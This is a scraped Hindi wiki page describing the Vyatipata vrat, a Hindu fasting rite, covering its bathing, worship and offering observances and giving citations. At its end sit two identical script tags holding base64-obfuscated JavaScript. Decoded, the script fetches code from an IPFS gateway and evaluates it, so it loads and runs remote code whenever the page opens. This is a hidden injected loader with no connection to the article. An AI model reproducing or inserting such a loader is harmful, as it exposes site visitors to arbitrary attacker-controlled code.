व्यतीपात व्रत

भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) द्वारा परिवर्तित 12:48, 27 जुलाई 2011 का अवतरण (Text replace - ")</ref" to "</ref")
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:नेविगेशन, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • व्यतीपात 27 योगों (विष्कम्भ, प्रीति आदि) में एक है।
  • भुजबलभीम [1] ने इसकी व्याख्या कई प्रकार से की है। [2]
  • व्यतीपात दिन पर एक बड़ी नदी में पंचगव्य के साथ नहाना चाहिए।
  • एक स्वर्णिम कमल पर 18 हाथों वाले व्यतीपात की स्वर्णिम प्रतिमा रखी जानी चाहिए, उसकी पूजा गंध आदि से होनी चाहिए।
  • व्यतीपातव्रत दिन उपवास; एक वर्ष तक रखना चाहिर्।
  • 13वें व्यतीपात पर उद्यापन करना चाहिए।
  • घी, दूध, तिल तथा दूध गिराने वाले वृक्षों की समिधाओं से 'व्यतीपाताय स्वाहा' के साथ सौ आहुतियाँ, व्यतीपात सूर्य एवं चन्द्र का पुत्र माना जाता है।
  • धर्मशास्त्र में [3], व्यतीपात पुण्य का उल्लेख है, व व्यतीपात के कई अर्थ दिये गये हैं।

टीका टिप्पणी और संदर्भ

  1. भुजबलभीम पृष्ठ 37, श्लोक 136-138
  2. वर्षक्रियाकौमुदी (242
  3. धर्मशास्त्र का इतिहास 4 के इण्डियन एण्टीक्वेरी (इण्डियन एण्टीक्वेरी जिल्द 23, पृ0 117, संख्या 27 शिलालेख, शक संवत 1199, 1277 ई.

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>